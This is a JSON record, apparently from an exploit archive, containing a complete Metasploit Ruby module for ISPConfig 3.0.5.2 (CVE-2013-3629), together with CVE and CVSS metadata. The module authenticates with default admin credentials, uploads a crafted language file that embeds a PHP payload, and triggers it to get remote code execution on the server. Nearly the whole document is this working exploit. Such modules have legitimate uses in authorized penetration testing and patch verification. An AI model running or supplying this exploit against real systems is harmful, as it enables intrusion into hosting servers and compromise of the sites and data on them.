{"exploit":{"id":"MSF-multi--http--ispconfig_php_exec","name":"ISPConfig Authenticated Arbitrary PHP Code Execution","description":"ISPConfig allows an authenticated administrator to export language settings into a PHP script which is intended to be reuploaded later to restore language settings. This feature can be abused to run aribitrary PHP code remotely on the ISPConfig server. This module was tested against version 3.0.5.2.","cves":["CVE-2013-3629"],"author":"Brandon Perry","published":"2013-10-30","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/ispconfig_php_exec.rb","path":"modules/exploits/multi/http/ispconfig_php_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"ispconfig_php_exec.rb","vulnerabilities":[{"id":"CVE-2013-3629","state":"PUBLISHED","title":null,"titleSource":null,"description":"ISPConfig 3.0.5.2 has Arbitrary PHP Code Execution","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3629","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-3629"},"updatedAt":"2024-08-06T16:14:56.569Z","retrievedAt":"2026-11-26T12:19:49.606Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--ispconfig_php_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--ispconfig_php_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--ispconfig_php_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--ispconfig_php_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',\n        'Description' => %q{\n          ISPConfig allows an authenticated administrator to export language settings into a PHP script\n          which is intended to be reuploaded later to restore language settings. This feature\n          can be abused to run aribitrary PHP code remotely on the ISPConfig server.\n\n          This module was tested against version 3.0.5.2.\n        },\n        'Author' => [\n          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-3629'],\n          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']\n        ],\n        'Privileged' => false,\n        'Platform'\t=> ['php'],\n        'Arch'\t=> ARCH_PHP,\n        'Payload' => {\n          'BadChars' => \"&\\n=+%\",\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget'\t=> 0,\n        'DisclosureDate' => '2013-10-30',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('TARGETURI', [ true, \"Base ISPConfig directory path\", '/']),\n        OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\n        OptString.new('PASSWORD', [ false, \"Password to authenticate with\", 'admin']),\n        OptString.new('LANGUAGE', [ true, \"The language to use to trigger the payload\", 'es'])\n      ]\n    )\n  end\n\n  def lng\n    datastore['LANGUAGE']\n  end\n\n  def exploit\n    init = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/index.php')\n    })\n\n    if !init or init.code != 200\n      fail_with(Failure::UnexpectedReply, \"Error getting initial page.\")\n    end\n\n    sess = init.get_cookies\n\n    post = {\n      'username' => datastore[\"USERNAME\"],\n      'passwort' => datastore[\"PASSWORD\"],\n      's_mod' => 'login',\n      's_pg' => 'index'\n    }\n\n    print_status(\"Authenticating as user: \" << datastore[\"USERNAME\"])\n\n    login = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/content.php'),\n      'vars_post' => post,\n      'cookie' => sess\n    })\n\n    if !login or login.code != 200\n      fail_with(Failure::NoAccess, \"Error authenticating.\")\n    end\n\n    sess = login.get_cookies\n    fname = rand_text_alphanumeric(rand(10) + 6) + '.lng'\n    php = \"---|ISPConfig Language File|3.0.5.2|#{lng}\\n\"\n    php << \"--|global|#{lng}|#{lng}.lng\\n\"\n    php << \"<?php \\n\"\n    php << payload.encoded\n    php << \"?>\\n\"\n    php << \"--|mail|#{lng}|#{lng}.lng\\n\"\n    php << \"<?php\"\n    php << \"?>\"\n\n    data = Rex::MIME::Message.new\n    data.add_part(php, 'application/x-php', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{fname}\\\"\")\n    data.add_part('1', nil, nil, 'form-data; name=\"overwrite\"')\n    data.add_part('1', nil, nil, 'form-data; name=\"ignore_version\"')\n    data.add_part('', nil, nil, 'form-data; name=\"id\"')\n\n    data_post = data.to_s\n\n    print_status(\"Sending payload\")\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data_post,\n      'cookie' => sess\n    })\n\n    post = {\n      'lng_select' => 'es'\n    }\n\n    print_status(\"Triggering payload...\")\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),\n      'vars_post' => post,\n      'cookie' => sess\n    })\n  end\nend\n","sha256":"c08929b9d08057f7c0e8e3776f3ce860a130214b4f5e11a0776b826b6c5fe586","bytes":4056,"fetchedAt":"2026-11-26T12:19:47.011Z","encoding":"utf-8 (display only; download retains original bytes)"}